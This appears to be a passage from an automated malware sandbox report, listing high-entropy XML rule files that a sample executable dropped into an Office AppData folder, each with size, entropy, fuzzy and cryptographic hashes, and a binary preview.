Preview:	<?xml../..3..N....L....Y..+..\....f.w.>.f..rZD....1:.M{M.8..T.h.7(.<.QD....2(2.H8.Xn.l..f..7....b9....k.....q.....b....>.&.....8...\n.59..g.)N;.......p+.w...L.......]-H8S.PL.N..V.j...'.<.T.Niv....}]..vJ...f..w..=.c..f5..Wz..w\|.d.......?..5O.]S..Y...R...hd.2 .c...5..I...My....@.....#<n.m...9X..`...~...WE/....=...f'..V.............sPaa..x.y.i..;..v...p.w.d^U(..daD.}..E.U.....rlo.....$...;...+..3..6.Y.A\.i........G.........2(.........q.6...Q.<>D.rz.'ROJ..ATM.S..1..a..].u....a?,.\.I.....M..f9)..y.L...P..{JN..[n...-..pR..o.Z..vG=.u.......F...4.\|k......'...u./...-u.Am.+.L.E..:.......=`.....m.v.'.2....b.x.H..8...1&...s....\|(.k+8.....h...]J.xd?.0.@....4.U.......n[.....b.\\|%..'N.n.>..9.b...O.h:l....../2k.._(^...N M.A,.w..)..../.......2.R......:...mu.6]..E........OU..]....y.....J...mC...xqm..@..0.B........T05.#e.sr..xW..rO....S..u..e^.H._.]...x.@<0}...l~.N.........R.c...A..6..O....by.D.Q{...........;Y0%[K.(....$I.:.......b?.L...Z.p...Sr.i[.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.887412743035718
Encrypted:	false
SSDEEP:	48:sSq6CcVHVsMcDhsKp/BkmQT7a2K4kJ9zAr4JYOHrYvx+L6eryD:sKCczRgD/IT7awwpS42O8wmya
MD5:	4740AFFA9E41679429080F7660206FF3
SHA1:	4C9F11A9CDD7EFA5FE325DD51E10F04D9170A9A1
SHA-256:	38F52A946B2E45C622ADA7E0D69139612498D505A3E04D39F38CFD5226C95412
SHA-512:	E42622C53D501BC7012AEE88B9110412AE0093692BC41167682E2B7A1214FACE67F7D5C85B3616A7E527F67D242D5BAB2D9A6BFE13618C461F2005972E14C574
Malicious:	false
Preview:	<?xml..w[.s5tH...ZS.qcS.Xc+...(.....,...A..Z.5..o.r.._.J_.u[.m..ln......'.+.X.........kv.a...p.....#.....K.A.x#.T00..4?.VO..&.=...-2...@..\T..a.$.....J.u.!(U.c4..I.......iv....p.U......]..e..0....W.........>..YW1....%......./8.y.fU..u..R..L.j.M...<...L.........W..z^....H#U....7a....7>.6t$....8t...l1.h\.<.n..3....;s.{=.g........K.....2.Z.AD..../{....qP...?9...1.w.h.m.E.Q.s..@.(.q.8h.YH...]..M...$ .v...wZ_..q.u..a]...qJcH.......u.B#@z.c...k.[iNP6...0....+..Lq.il.o..!.....0u...q/..OHZ.Lq^.}..p...a[~#....#: .~p...`...O.S....J..=......&....\|g.R.......j...Ui../2....O4..M.\|.q.%.,..%..l...Z.).Y..t}....X8J.:/...^r..g.....a>mT.....,.~..S@.?_..+~..7..IVk..7D#.$.%0..$S...+678.......:p....XQn=m.06.B.@..Q...*..^P2......].?Rf.)...qS.5].V....#8....q..I.H.i$Qj.)....V..J.W.......t."$4...A..X?......A.9.0.q...v.U..[.B8.f?.N.t..."...m.;..y...<.3}U"T...... ..EP....=............$....N>.....v..c.....KK.x...&V.$..^z>......\|<@.N.a..)N...3t.m...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.855770003823794
Encrypted:	false
SSDEEP:	24:SU0KilhJfOly8i8aIYwS3ggvq3cBhBq1WayPXFZ+Nf2lNko9hDwiXw1bD:T0KilhJWs8KyaUMPEfIkGhLXyD
MD5:	F3F4FAA7F9CDBC81AFB056F278A69C79
SHA1:	4F1265864289B0012976E74B028B2FB5824B8DEE
SHA-256:	6269B6819362F9E3DEFDE14060ACA8DB7BC27E4144B493865BDFA500207CB7C8
SHA-512:	F2768828DA9974705B33938FECCCC6B99B04DE8F20B5227278E64F5B9A3910C33ECC7C8B6EE8D33FD7F0FDAE3CE40E6312C221F84AB0F6EB161B201CB8435A13
Malicious:	false
Preview:	<?xml.5.T.......p_....i.pX.Z28.9.....I......7.%g..f..'...y.A......x.Y4v}..B.h:. .p>....MQ.FT./.....p....5j9B.,l..._.W.h...d..I.\|.y.u...h3..T.tXj...........3...5B..A.Bg.EM...t....dFx.\|>....~...I.;<.k..;-.W. ..!Q........k.[..2..Y8..o.LIv....}.hFz..;...F7.N.a..?..........6G.V.P\|.\..r.E......Q..)~`..pp...........(].`....N.%...QG]@.)........a.K.'=.IQ.E.y.....+......Y...%W.....!...&.....0...E.xz.2_.r......J.....K.p.j.m.@...X.D..u..D...w..Mp.91.+...".K...:I.aX!2..{...I.X<.]..J......;...DW......U...ty..c.....V.......e..a/8..^Yr..<.gy.^..(...e.E.....$...Ni..t.B.EUIA...S6.D..w...W.Sf.M.P....`.>....O..?.A....2K&..../..hA..>.m?d.EP..jm..0zO...B........QE...M....B..uPr..!.pM.2.G.noF...M..15.....G... v.....].fg~..z.=...2..+..z.BAI..]...5.C.f.....i7.6.q.`!j....0..e.f...ir..PA.,.w.............FpQ.....<..8ahk.j...W@'..>P...*...R~.[.b\|....T...&...6..GI.A..T;..G.v.z.g.pa...b`<.xmP.....A.n1.....n...='.R!..O...i.}o{...yx<_...E..(..e1.T^M5o..h.F...x..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.873094850791784
Encrypted:	false
SSDEEP:	48:6oj+zfsxSWX5QWFVjadyZ5fJZM5q552pB6bvKrq4yD:lmkxRXWEV4QfXM5S2H5r3a
MD5:	530B2E6ED3C6C9E5AE0B867D52EE7DE9
SHA1:	04E5D4D1AA4AABA0ED8F4FFD4E479A4A5ED7AC9E
SHA-256:	87C160B539AB84323B4842C888E7DF5AF09DA65B271AF1E8BBEF5E53DB754F05
SHA-512:	A69362F95C7F454B1E959A31A144B702ED211D160F18A26D60FACCF8FEE80225C9DD0E9FFC10F381A51F8202D804972B35579157C1C2A787932B435E7185280A
Malicious:	false
Preview:	<?xml..9'.J.!... ..._.=..O....Y[L..{..(.........9...~q...K..M.\|..._>e...{..q....6p..>3..p.WT.#/.Q2tdE....Uxm@".....I..a{LQ...&T._.ta..p....A8V.,2.H.r....m.ED"..r.o3..Y.4u....A.....g..V.s....m.......e.sy.........t......j.....I..........A\|..=....$g/!.Jc....m.^....Ia...}"...e.&.\|..[.-...A..A.1.l.Q.._.9.U:.......q.Vz..T...../V...H..D..s.~w..a.b.'.......B.-..\...i$...Z..8..Y..._......".....).....l.I.r...u..L..Sh;..Dm".r.~.Z...-.e.h7._;%.;.q0.g...\.....H2+.y...Mw....{..F..K.<.e.....Q.F...B..?G.^.Z5.K.HX..Z.T/4.S%..`..j.F......q\..5N.YS.1..3,.......~...5?.6O%4........UN.v. ...at.}0.....9U..f2..[.2.ZX.J......_..u.~...,Fa'..w.....Xp....H.H..u..zF}S..?_-...a...+.....H<..].)..@.F.r...sf.6}J..f1...hA_....H;./.A....n...?S..4W....n...#9M..^+>8.'.z.._e..q&U.qS...9...T/#CyhU.Fi..Pk.0.Y.I-o...Y.4'...q.......dZ.v...3[..@.E..x....VsP!.`...@..4G)........;,>'...U....#..$\X!Ho...Y...C....V%.$.5....~.Vl...7kU(Q..Q..-....c..b...9@...C.+.......".n.G~h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.87809974617017
Encrypted:	false
SSDEEP:	48:pWaudI3eRtCiUpkRdJJWZiuq2w4qa6/Y0yD:4uOR6eT9Fva6/9a
MD5:	1B36282A73AD7EA8C42B58AFA1500380
SHA1:	EBEB9E94545A95B5DFF0AEE10C9E535C8B4F1055
SHA-256:	6F4964A77DAEC12064EE3E2785B5250113857B8D975EFE45A5A4FDBFD685EB86
SHA-512:	1B4F992FF7EF3A39BF6F3BCF2E04A239D3BEC0B26507F461EFC42DDB52B29CE301DF70DA1E4E756157AB6B5BF9B535BDC9613AE43570811C1AC28605C9400A91
Malicious:	false
Preview:	<?xml...AX..;m..-&.E-_..!F..).I(C.....{E."....N..b.k....C.M.1t..K.1mW0.FJ..S%.C..HE..k.=.....?..z...'..Gz.e\|..}G.]yx.(.s..`$...-.....Q2......H.v.=d.3IR....'0...[Y.r.......3.7.]8He....Z...2;....}..5r....E..NGQ.p.0 ..g.5wS....i....V.T\|_Vf.#I..$f.9..c.8....CC9.....V..p.6Y"...x......q4..C\H.]<..>.ny..R:.8`.\|.".M^..../.4;.x..L.....@..[R.......g......f..g,B.1...Egf...]...S....,.g>,u4..@...2......P.....V..1....Z...G#...c....7.i.q.......j.M.eV.)..xG.'.&\....A..a*FT....5.av.O..]..)...i...1..I....9./..$...`....vU\|..'T....f..i......}..V."r...-sX.`.h[5nEoV.pXB.......`G...5.s......L...a 3.@`N.'58..~Q.k.A..u...4.n.\..K..`.......`...E..4.6.O.Z......&...........Na.{B.....n.,K.....K.l...c.N.....j..k(.....e..(`.{aE...3S.k....dm.....d.Q...]F(s.%...37...7N..a..[.8.,.G..Ce..S..-...a.s.F9....p:...O..2.ap(..3.U.....J.>/. .8N.+m.@...[.k;Bv.'...r......m.y.i..A.{E...;..f..c..#.W.$r..y...%%..z(.5"N..!......O......3.]))\|feR...P.y..A. .x..1..rHE.F6^....?S3..P.6...YH

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.881643786464047
Encrypted:	false
SSDEEP:	48:ad+NyeQ75c5tnU9tzUfyt3Lm6wD2QkhK4yD:1NxQ75crnQQDTU9a
MD5:	6A841E7D3402C17ABCA9F6D3CC5F8958
SHA1:	8065CBF52585C628374992C167D62FFACC28B436
SHA-256:	19D0CFBD3B2D91F8AFBE84F94F88003681CEE56CF4D1F355D3BE88BDE7C44875
SHA-512:	A3C2EE3A8DA31413667DA076B03BCDE125727169BD43D9DFE6385E5D5A9466AE5FF51DA52F8C3D06EC81EAFB78C018F7BC114A04B166C9B55A8923DCD302CEF5
Malicious:	false
Preview:	<?xml.}u..!..4.....#3.#A.U.Ky..M.'U....9$...4V-e.8OX.....l....g\.c.M.d.0...A...y...n.";Zc.P<_..Y.&x.M.IN=........;..{....Ko.V.Z.2.h)...D.b.q...D`.}.#>.P`...L.r:......@.B+.C.3.f..S..`Z!0.\..(......p.>x...=D.K..!....w..pv..'..Oj..3..0..N..4.!..O.b.8...^.\|i..,._.5.J..Vs...>E.wTcL.\..%.@.....^..%....l.4.H....\|:I.Tb......[.~~.../..M.I@..p!.b....'.....).M.h'.RZ..;$...~n....gDW.../....X2.Gp;..k.(.a{.O.Q..SZ"..A.C..O.Z.q...Hx.}.UeP..n....D..N@~Y]..0...j..%.......xJsK...5`.8.Z.......s..._W'c...I...V*E\..9.....=/".B._.........k..w...D..q...:.{U.m..=....e,Kco..W.R..U.........g..bqg..0lg..K)...;[..Z>8P../a....\|@g.pHR;#.v.V$.t87h.M.....}.{./qk...z...?.KF.!k._......1.'..n.k.$.l....T..f...K2........v..T2..d......C.Q"..o}..3...r fg...z.Hx..GE............-:.Z].\..B..'....1...m..(.}^...r\..Az.[DQ.....d..u.....Q....E..Q.x..e...}.G}.J6...j?tL..b..;.....b..e'...S.fno.-XG.l..i.......R..u...+....c.. .qK.5G.30......jb>m=c...}...3e..t.....b..\|b....c3#/vB..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.902222174235772
Encrypted:	false
SSDEEP:	48:X6vWXIsfXsnt+p5wNDGY40eJ+vngYCwyD:XvXrPse5CS0kyewa
MD5:	393B917D008AE252170BA34C85143466
SHA1:	32F707BE9DC27B9DEBD3B5D5F63880B251EC5F4D
SHA-256:	91A8AEB4607608B1CBAC246A696A2FF6A3EAFD0D6462991DF008C991BD255A36
SHA-512:	BAAD6180433BDFBF12A08D71BCF076BE13429F874B0D7D25228A33A715979EA35D8FA8CF11719F89BE70B32DF5066081D3E12E0DCA378D431990E85C0CAE8217
Malicious:	false
Preview:	<?xml...H.../N...J...?;..zW...'J..........'j......-.g.VC2k....><.np.&..\|[-.j.<.}4...>q.0.7Xd%.+}..{..b..`..Mm.z.g].......b\..qUM..~..[.k......O..8N..DS0l....;....uy/.m.T..~..:..r.(.7.....9.h/.&A.........U0.... .9..N.;.Q...~....:...@..]...}.=8).\.......Y......+.....a^.w.0bX.k....2...,!.........wppY..#..j.qK...(......-v....p....l.h.....b...]...L..qVF.........7.....F8....twv..C...QVx.x....IM.......\.t...W.S..;.. ..w...........$ %~.H. w.0z\.7!.?....5..7....OBe.>..%-otM=....e]&....`.r(...';,.......X.O\...iz.'..s.X....K...P?y.O\.c...4.s7l.U<..u..a{.g-y#......-Q\...Z....@.W...L..u..G/\..A...Ss.O..S\|..hOH$...i...$.....`....../.~?C*.p..P8...n=u..Wm..)G..9......4l..f..l.C...-]..9P^"......o.X......w..k4..x...e,U]p.?.....J.B......j...a..3>k+..K<....G.+..`b.....b;..$..9.e...Z.{....h0.>.yi......v.+8..@.D...?..'k...e.VH.....Rf$...3.~.^........_...i1.5m...\i....j\|Q.Y....0.C.!.=...B.,.RJ. .w7.e.Nn..~...%vQ..P0.......Q5...Xt..O.Ha..pPo...&f.?....Z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.90103563256069
Encrypted:	false
SSDEEP:	48:j3ySyW838bkaTW4M8c8LYR8hBpfBSKduyD:j3fKoyG7hYKMa
MD5:	543DC067F4A77B2D6938199BBD380C62
SHA1:	C5000DD4189131F27D8C9D0A061BD46983414C81
SHA-256:	5BCC9ED99B0F4668C59911DD61C954A1431FDB08E32B96B9ED1422052C582AA6
SHA-512:	707C465DBF479319741311AF1B92F087A34483578C7B5113F694223694D03BF3B9DBBA4FF6319CE4687D70A2F80704C6F935412AF9F15614D1828B4010D63007
Malicious:	false
Preview:	<?xml.o-..7e...].o.?..+..6..L........3b._&v>.@B....p/..t..l..k....).V9....4M)...nGR..X..:..m.....u....s.......{._...,i.?4OAP..j.WD...PJL..W...mUo)..c..^.b..<u...-;.h..>:.1.....0baBS..Z...Y.._.....r'.T8{...?.]xN...s.N.=../.p..h..V......B^...>."...".W.B.6.1.....'_m J....h.......x.....g..4.OX..b.fh..;..l3......\.p..{(..a..j.3....m.K.;.w......#Hj...z.k.}c...Z..1. t<.&.M9..G.NT...@7.....U.>.......z.}...zr.....bj..9t..T jx......ZcY......f.SE.H/#.E.=.Ru...o.e...X...T...l..\|8i$....?Vm....p.l..4&E...,.UYT.......6%...}.H..]..0.v.....v.........Q.Y.2%.5..c...RR.!...ET..~..[_...^....B..l/......kB...S.4G'..@}.K...A^...{\...2n.Zk2M.......E.=T5@.6.t.....;+..S....\|..H.`.;,K.`.ZM.{..^.F.r..xNZG.:(;.NE...5..p.....e..q..S.GP........H~1..o~=..}...kA.+....3.....UE..._...!..9# .T..-......V......D.....jy&..../....;.ic_.t...M..Y6Y.....2 ....P..+........n3..`..^.../0.......l.d.s^9.......Z......."t.ok.......Y)....>..,.`d..?3..z.9....n....Q.7{.V.......c...'..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.879701675420937
Encrypted:	false
SSDEEP:	48:bO2aLQVyzZOcxyUFy6Jc45KqJieLVv6IB0TOhyD:bQQiZEUFQ4njLVCsha
MD5:	F79C8C24B32D51837B1C094B430270E1
SHA1:	0E30F5167DFC4A23FD9B7C29C7C385D07B0E0430
SHA-256:	7B37BC9FF6EACF682383273F06686CDD568307D17FDB4DAF5AE0BC578766D1BC
SHA-512:	22A3AA3FEEF8B7998C7227C44C7D474C6CD646EC4D00E14752CC4C8AC4D5316A396EBB4239E9AE796F5D4D5B4E6C23CF91331784446191F47BEE13EA7F10E3B3
Malicious:	false
Preview:	<?xml..R..v.\.W..Bg5.j7.Z...g..-.........O...$.U.....R.%k.....?1h....XGM.....L3d.N.Y.;...57...#^d.n.)...."...t]c.R.(.TnZ..r.\|U.Jl.}C6#.A.Y..n.N..E>.2...B2.j=.m..u{..b...!.$...]..}.....V.na..1../..#or...<U..u.........oQe......Xp.xb....i.`......1=..4..../....Z....f..>.u!.......-..<..P.+N,...IR....#. ..(..>......R..b(...Z&.#.z.e....2\|..H.g[...E...Z.&jQ.......(..e..`..\|.C....2bn.IB...{..Y...V....p^F.\|.Re.@...i.]EE.TY...c..?e.......!T1...oMH_.\|z..X.\...ie<......P.......Q..&.M{/.........w..........<.....5.."m..!K..5.;C)... .%%.EL..2.$....!va..v.r.\.og..*=...-......Y..GCQ...E....^..<..w'.\.h........cG.s.....)7.Wj3..A..93.S...>.L..n"...u<.......'.=...e.....;b+ :..G&...vO.....hcYI.0.!.C.V....$....].N..(PD{...>...E.J.M...xr$.+.v..m..I]..n...\|I..gE..I+..'....y..I.......'`.......@Z...+2.9p.}.x84.n1E.P. a.....D...(J...C.:......hM..p....K....g.....M.......-R.z..W......5y..ZV......lt....\|.$....[Yr....e..D.W.Z$..m...a$.c..!L7q...^4.(....n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.876188304763682
Encrypted:	false
SSDEEP:	48:UY0gCyV3okRVKUW7Ow8hSCL3dELB5NHAE3gryD:jCyekfHWehPGTgEwra
MD5:	75F62BEFBD7FBEF284CCBE7C8FEB7E82
SHA1:	3F20F1EE70F6546CC88E7DE75288F7B2B13117FE
SHA-256:	0D53C6CE9AA6C20DC9B0195D110A6D9C3EDFA0068C676073A2F9E6CE1F283743
SHA-512:	292EDBE46C9105504067A5F8DDCFFC8CE8B5F60A69E867692D9878E0197AA29FDD9355CCE87B3614DAC1D92A348FA2E34855743A5686BBCC3F2255E82F85755C
Malicious:	false
Preview:	<?xmlT.....).....vVZ:....2...... ..,cu..u.R........8.N.dE%.......kk,.........=BN.X...H;5).....Ok.N.>.;...^_....m#.......-il....gCW9.....k.\.L..tBS.F..9H.ex.....S$......2.hZ"v.ON......i...5....~...TV.esb5..79g``.8.v.c.:n...=.. ...j:....j/..B.J.....&6..x...AV.....Z.5\H...4.jclg..l...0....Q;....G.9.A......l.=.O...>.6k&...}........!.@.4._A.$<.O%.....V.R..4.tP.,Wne...)9Z.+.w..+.....!...h_...d..ye5T.Fxj...z.R...M....e.E.yI-..{.e.bc.I&o.....l..Q........}.y.....b.jh.\.q.Z(.....E..%......G...OyPXF.9r.r.}0...g.2.>......D.>..TB-)n.P...S.sH..t...W.h..f...]~............W...[..6...8_<.\|..k#i..[.'7<%=..G.......nnS..R..8.V.d.).......wz....4a...R)....."..;..\n.\.E7.d.. E.)T...o.Ns...<Z..5...C...v......;..s,..J.kfV...a.&KM......Y...].HI.]e0...d.n.'..C.j.+..v#.....b..hr.n.....lxp.W.zU.8\|.../.o.1@q...e......'..H.._g.n"..8x..:./.ih.}..I.{....@...6..6%.~\K..^...............+ 1.....8.qQk.`..F;.`./.......;K.5.....rX..r..b(9..Tm..R.G3.....H.6..=..T..7..8J..xt

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.872323191644154
Encrypted:	false
SSDEEP:	48:mql06mCAzIDNZ2at1qYGWnh1GyjrUeHNNV4JeSGfl0EseyD:R/uz+BbzoKNNV4MSY0Esea
MD5:	A86FD2086B4E722D44829803B78DE459
SHA1:	4709619C9D924C33A6420D9D2F25E73142A6092E
SHA-256:	39610D3F798034ACEC74847B473DFFF984A6B2EC674E387F3EDC1BB705E8C9BB
SHA-512:	A10DD37F6EEDDB274A099A392A08B59ED0EABFF38B6CEF412FB7E05BF473D1E32E898AA46ABCE3867991FB59E592D3BE87BF24E48CE85364B0F55256785B84C6
Malicious:	false
Preview:	<?xmlU.........F..ra.S...i.....E..&-u.s..?uH.....A7..rWZ.=.YP..X%>...4-...........;S...1">}.L..$...r........9....:........t...6.$./.ui.._p..7....z...a...J<..k.......x.g...0....f.\|.#@....%.,;.2......Z.."Lx.l..N.8.>..OJ...+h.$..vpc7?....6.._.r..F......../...@..2.um..'.O7.+...T.......o. >.....{....z.XO..e......}1.W.4 G=..nZq......m....'..2.r....\.sc0.o.. B..].Q..1..mqK......d..k...!r.gfXHxJi.."............'......}...Cw.X.....C...rQ.1f.....A.OE.T..~.P.."....DMwj. .B...7.$...;.....]..kF.Do&.P...J....!.....I{...G.W:..`.pW@h......".k...U......[$..H..B.}.e...kbA."Y....o"...:[.....x..5..1...~0m.Z.P.'....$....{.u.,=P.7\.._.`.......}....9R....T.9..\..Q...`4...y9..(.[.?.}."............phO.p..~......BB.]..6`....X%..fE.f.~.....+.iz+].6SX4...m.L4.4e.......w.?Q.?e...Z-?..&..S..p.N..Y\|8b.......J. .w;.{...L.....ooN-kp.9M...w..y.Vb8Z.K.?....<.jc.p.4..)Q,@g.f.F&...-.7.~2<..KB+....N_.".\....a..#.m.p,.....f...6.......B.=............o*)B.P.h...o.\|j+......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	7.879360939485324
Encrypted:	false
SSDEEP:	24:U9uMS0NGrAbumwNtLQx+tAd2ZM3Vi8jTZ5+or9XMYc+LkYsWU71qw1bD:xMSXAb2LQKAdT3VLjTW6XMYc3zWK1qyD
MD5:	C4FD65C1C5B05E789B2F40C8CB9B3F34
SHA1:	F861D63A68904D352983C9AC51231D1F44C303FD
SHA-256:	4FBB23471E00FFE8B33795F1F1508B2BF4823F83F30436AF063B01321EF111FE
SHA-512:	16283D53081F169D96649E9A7919FD430AA90B889CEECBBA59369FD04CAA5E0B5E1BE5FB9134C3033EC5F3E3BC82591F7E168BEA46125BBE16C7AED4CA2C60B2
Malicious:	false
Preview:	<?xmlp,&..?xk ..)....'Cjtk.2./L..]..]...n....sU..I>..h...p'.......]..............hc..........!.O..0.....V..).<..W.K'9.M.lJ..Y......k...I.s.zlm....y/...q.....x.....H..Kn.....tC1..7..6.`J_v....@L....T...-Bm.v..\..>0j..pP.en......c%q.&.)._K.....d...:_.O}=....t..,.0...;z....sQ......l........#_I.Mu!....[..Yp........S..S&.0..\...9c..'.c87.....k~\I../X.;y....B(...=y..OP......& .....;.......5.I#..3..#.!.3.:..>.f...L@.0.}.......P5v..g......6z^.......f.Ag.......{6....=O.L..#.....b7.\|....W.c}&u...B..:..N.;.. ..S..m...!....g...D.zP..E..Ow5..,7K.........v.......<(...E}.@m...#YvD...:B..6;.1.b....I\q.~....,.......@b....[''.gV.B\$.u...)..K@.k...5P...T..._/.i...~.v.........k.F...6.5;T<.p..{.}r.....VG..3..N..2XHAgOQ..q..c!c+R..z....P..(.fw.^...............Z........vJ.^..8..J.Y4.5..#.d.A.}....~.A.o.G..E..4w..zD.ZD6y{g$'.!L...i.@.F.G/.L\C.J=..\.aG....aK.lz..Cm...kq....i.ky..0.....p.rY....R.."...R ....7.j..W $...=S.R..F.h.kq....F.....!wy<..i.:~1..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1758
Entropy (8bit):	7.883430729545606
Encrypted:	false
SSDEEP:	48:IzmEwen9slZrGY4v2+6UTpuZ8ZDPNG7ZX7pVyD:IzTn9slVMvaUzDUPa
MD5:	85F2DAE2CCF31DBADFEE239EFC81CC01
SHA1:	65991E111E63BF40FFA405F362A5A58B24AAE938
SHA-256:	0C54F44220FA61935596439F9B84015BC4AC4947DB98322A287BC259DF556A21
SHA-512:	127788B883CB4F831C8331963567614DB186B3A12E15E7B547CD769625543BEDB7C691B3BD8A98C97A2E39AD48D99166C7F7A2D3175F4DCB2B053012077921CF
Malicious:	false
Preview:	<?xml.nH..H.s..:..p.4....$. !y.. F...&7....h2.A..S....K,...U6ACM..S.Z..OJN+.X..;}.."1.m....S...?.....$.....j...sX.^j.0:..q...^.g..[+..S.-.m}..sy~.fy-......K...R....~...ES.6....a/.Z..f8.k...4#...L^..0..@.>...W...{.m`h....B.p..tA..Y....$..oU..&..Z.6....e..{.#..a.....6c..p...,.?...H.v{.ri..._.T7...Zk9.g.2.MX..gV....H.a~}...g...Z..h.....b..>.....Z....T.\|DU....}2_~..P.[...]X..XW..[W...h...:...R....Ln...+.2^.......RCnU...e!P.....Z......q.0.......k...f.....d...5...y.m.k.3.....e..L...\|....'b..q..U...\|.~.2 ~H......\.i{.l..`U9r...`.....>.l.....#V2L..P...x.;1`...w-.......`.....u....f..}a..G.....9.2....s..z...H...\|...,e .N..z.l.."./...3P.}..iE...Z.,%.UPM...S...g4...;.KGF....u+.....w..-...C....-#cf.....B..i..]EG.M.`..F....G8.-..M\S.Y...2....C....1.T....`k;>..J.G.}W..#Y.x..KM.,%....z%....V..;.7O..j...e..pR.^..u..].b..Q;....M.7..y.~R.V..Gv..TK@-..!).;.t.Pk.s.b...-I:.....Qc..Z.....b~...0cK;..n.1..*,-. .jbh.&..}..Lz.!.....5.O..}l..c/.. ._.q..`....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.890524447253221
Encrypted:	false
SSDEEP:	24:jryi6bDvitmUtIx5NTLG5vf9kGR1ib/b2Fk5YTK71rdgGV36yFCiHB1fr/YM5twd:pe3n3Ta5vTwWFk4KfrVph1YKtyD
MD5:	DEB3D563CBCB7C90B91BB56F3AE656A4
SHA1:	4E00E34B7BC1BC843B993308DF0A4B9D7360A156
SHA-256:	A540E89DE29D81A8EAA38BF2C83CB9F3C14B4F2B2AF1794117DC66DBDF61FC61
SHA-512:	643E515D0554311DD5E4BE24A52105B4C8FE6712CF3DF70EE56EF50FECC520B301D965048170E73923BD3D1FA42146104A96A61729D65C16BA7B7723D66ECB52
Malicious:	false
Preview:	<?xml..<4.A.3:...c.MK...;..1..m.M../h.E.1..2..~G...Do.0..{.!.".W.[..f.......\...qjL>,..jNj.?o.y6......3_.VE.<@..I8]....d..........(.S.]......o...Z.....z.v6e...k..wR....4n.8..b.a?r.JY...fa<..X.@U.s...7-.SEqk5...c.U....r.rX.......%..O.h9.}...1bc...I.~.Rl...'9.Ui.K..C.I.......F.....V$tI....=wE.......j.B.D....t.F..`..]Sx.Z..p.-.B..).....=`....3s..[.f.[..F.]Ys..).6......ve..&..:..e.K.(...A!..7Gr........5...{...........q...^.....F........4..P.3}. .....~..M..e.v.z=.v.L...<.)..)..X..b6.G^A...Q...4..>+K5.1...^%LO.. ....\.M..AW\...c................m....x..M..~...h.....k.Y....-..N.......`.v.2........ih.usiSb..z...+.U).!.3..N.n..[1.i...w......r....J...:VZ./7-c.f.Q+n.cOw.6...B!...p..[[.r.-g.....-..Y.G:;.._........w9../91.E.}h...n%".%......vo...:m..hv...J..:.r.u2.z.....q\.Q.h....k.n..g..67.Bp....\zW.J..l..a.X.O..e..u..]..s.3.g.......b..T.K....'......%....qN.KU".._.!.;......LGw...j.J..y.2a7..4...%.....#.Y5.\|.>Y..*.0..O.\....L.R.u...(...h..c.b.O.6[...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.88298243505741
Encrypted:	false
SSDEEP:	48:zmrwN8NysbrmAcSP4IWWGZohstPgirtXyD:YwNpsvT4IWWGZohst4iXa
MD5:	82CD47307D66C7A5B859293E97EEA64A
SHA1:	427345D7776851408BEC68757065109D31935135
SHA-256:	EFF5F4766AED6700FB0387048925D21DF90EA708752CA1A44FAB9CB75EDBC1B6
SHA-512:	C0B4FEA940FCA7A4C584F3FCB51282583D3E9847754E25A78454EB20EA2DA85CF30A34B00E9826C798A15596653F8E0B547A633EF64D2C1A859E855F907AE170
Malicious:	false
